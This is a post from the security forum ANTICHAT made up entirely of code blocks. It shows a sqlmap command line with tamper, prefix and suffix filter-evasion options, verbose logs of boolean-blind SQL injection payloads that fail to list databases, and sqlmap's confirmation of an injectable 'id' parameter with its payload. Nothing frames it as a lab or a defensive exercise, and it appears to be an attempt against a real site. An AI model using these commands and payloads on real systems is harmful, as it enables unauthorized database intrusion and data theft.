ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
--fresh-queries --tamper=unionalltounion --prefix="111'/*!40222" --suffix="*/!'" --no-cast -v 3 --level=5 --risk=3 -p id --batch --dbs

Code:
back-end DBMS: MySQL unknown
[09:35:14] [INFO] fetching database names
[09:35:14] [INFO] fetching number of databases
[09:35:14] [PAYLOAD] 1'"
[09:35:14] [WARNING] reflective value(s) found and filtering out
[09:35:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:35:14] [PAYLOAD] (ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51)*9950*/!'
[09:35:14] [PAYLOAD] (ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>48)*9950*/!'
[09:35:14] [PAYLOAD] (ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>9)*9950*/!'
[09:35:14] [INFO] retrieved:
[09:35:14] [DEBUG] performed 3 queries in 0.23 seconds
[09:35:14] [ERROR] unable to retrieve the number of databases
[09:35:14] [INFO] falling back to current database
[09:35:14] [INFO] fetching current database
[09:35:14] [PAYLOAD] (ORD(MID((DATABASE()),1,1))>64)*1021*/!'
[09:35:15] [PAYLOAD] (ORD(MID((DATABASE()),1,1))>32)*1021*/!'
[09:35:15] [PAYLOAD] (ORD(MID((DATABASE()),1,1))>1)*1021*/!'
[09:35:15] [INFO] retrieved:
[09:35:15] [DEBUG] performed 3 queries in 0.22 seconds
[09:35:15] [CRITICAL] unable to retrieve the database names

Code:
[10:16:22] [INFO] checking if the injection point on GET parameter 'id' is a false positive
[10:16:25] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
[10:16:25] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 277 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - Parameter replace (bool*int)
    Payload: class=27&id=(1291=1291)*2659*/!'
---